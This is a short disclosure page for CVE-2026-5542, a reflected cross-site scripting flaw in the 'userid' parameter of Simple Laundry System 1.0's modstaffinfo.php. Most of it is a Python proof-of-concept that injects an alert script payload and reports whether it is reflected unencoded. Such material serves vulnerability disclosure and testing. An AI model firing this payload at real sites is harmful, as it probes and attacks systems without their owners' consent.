CVE-2026-5542 Simple Laundry System 跨站脚本漏洞

import requests # CVE-2026-5542 Proof of Concept # Target: code-projects Simple Laundry System 1.0 # Vulnerable File: /modstaffinfo.php # Vulnerable Parameter: userid def check_xss(target_url): # Basic XSS payload to test reflection payload = "<script>alert('XSS-CVE-2026-5542');</script>" # Construct the malicious URL params = { 'userid': payload } try: response = requests.get(target_url, params=params, timeout=5) # Check if the payload is reflected unencoded in the response if payload in response.text: print("[+] Vulnerability confirmed! XSS payload found in response.") print(f"[+] Exploit URL: {target_url}?userid={payload}") return True else: print("[-] Vulnerability not detected or payload is encoded.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with actual target URL target = "http://localhost/simple-laundry-system/modstaffinfo.php" check_xss(target)